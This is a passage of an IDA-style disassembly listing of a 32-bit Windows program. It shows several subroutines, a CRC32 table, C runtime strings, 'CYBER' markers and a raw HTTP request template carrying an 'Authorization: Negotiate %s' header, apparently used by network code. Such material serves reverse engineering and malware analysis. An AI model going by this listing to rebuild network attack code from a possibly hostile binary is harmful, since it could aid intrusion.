		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]

loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi

loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------

loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------

loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2850000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D

loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------

loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax

loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0

loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1

loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C2FC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------

loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05

loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]

loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB590
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------

loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	edi
		call	near ptr 2620000h
		nop
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax

loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DB590, eax

loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2610000h
		jmp	loc_426DC6
; ---------------------------------------------------------------------------

loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax

loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 2840000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2840000h
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx

loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DB334

loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2620000h
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------

loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax

loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------

loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h

loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25D0000h, 25E0000h, 25F0000h, 25F06FCh, 2600000h, 2600A69h
		dd 2600AE4h, 2600F10h, 2610000h, 2620000h, 2620835h, 2620CB3h
		dd 2630000h, 26307F8h, 26309DAh
dword_42703C	dd 2630A01h		; DATA XREF: ___:004231D9r
		dd 2630AE0h, 2630CB2h, 2630CFEh, 2640000h, 2650000h, 2660000h
		dd 2670000h, 2670497h, 2670985h, 77E75CB5h
dword_427068	dd 2670999h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2670C98h, 2680000h, 2680B81h
dword_427078	dd 2690000h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 26900B1h		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 2690247h
dword_427084	dd 2690325h		; DATA XREF: sub_4196BC+B9r
		dd 26907E2h
dword_42708C	dd 2690800h		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 269082Fh		; DATA XREF: ___:loc_4013DCr
		dd 2690B92h, 2690CDEh
dword_42709C	dd 2690E1Dh		; DATA XREF: sub_409B12+2r
		dd 2690F46h, 26A0000h
dword_4270A8	dd 26A0688h		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 26A06FFh		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 26B0000h, 26B0D96h
dword_4270B8	dd 26C0000h		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 26C032Eh		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 26D0000h, 26E0000h, 26E065Ah, 26F0000h, 77F7E300h, 77F7E21Fh
		dd 26F04B3h, 26F0630h, 2700000h, 27008EDh
dword_4270E8	dd 2710000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 2710A21h		; DATA XREF: sub_418293+36r
		dd 2710CAAh, 2720000h
dword_4270F8	dd 27205CBh		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 2730000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
		dd 2740000h, 2750000h, 2750B1Eh, 2760000h, 276091Dh, 2770000h
		dd 2780000h, 2790000h, 2790BFCh, 27A0000h, 27A011Eh, 27A028Ch
		dd 27A0ADEh, 27B0000h, 27B0356h
dword_42713C	dd 27B0599h		; DATA XREF: sub_416F1A+BCr
		dd 27C0000h
dword_427144	dd 27D0000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 27D0A09h		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 27D0A74h
dword_427150	dd 27D0C9Ah		; DATA XREF: sub_417275+56r
		dd 27E0000h, 27F0000h, 2800000h, 2800681h, 2800C57h, 2810000h
		dd 2810208h, 2820000h, 282072Fh, 2830000h
dword_42717C	dd 2840000h		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 2850000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 2860000h, 2860371h, 286094Fh, 2870000h, 2880000h, 2890000h
		dd 28A0000h, 28B0000h, 28C0000h, 28D0000h, 28D196Eh, 28D19C7h
		dd 28E0000h, 28E0EAAh, 28F0000h
dword_4271C0	dd 28F06DDh		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28F0824h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28F095Eh, 2900000h, 29006AAh, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43C514o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43C510o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43C78Co
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43C95Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
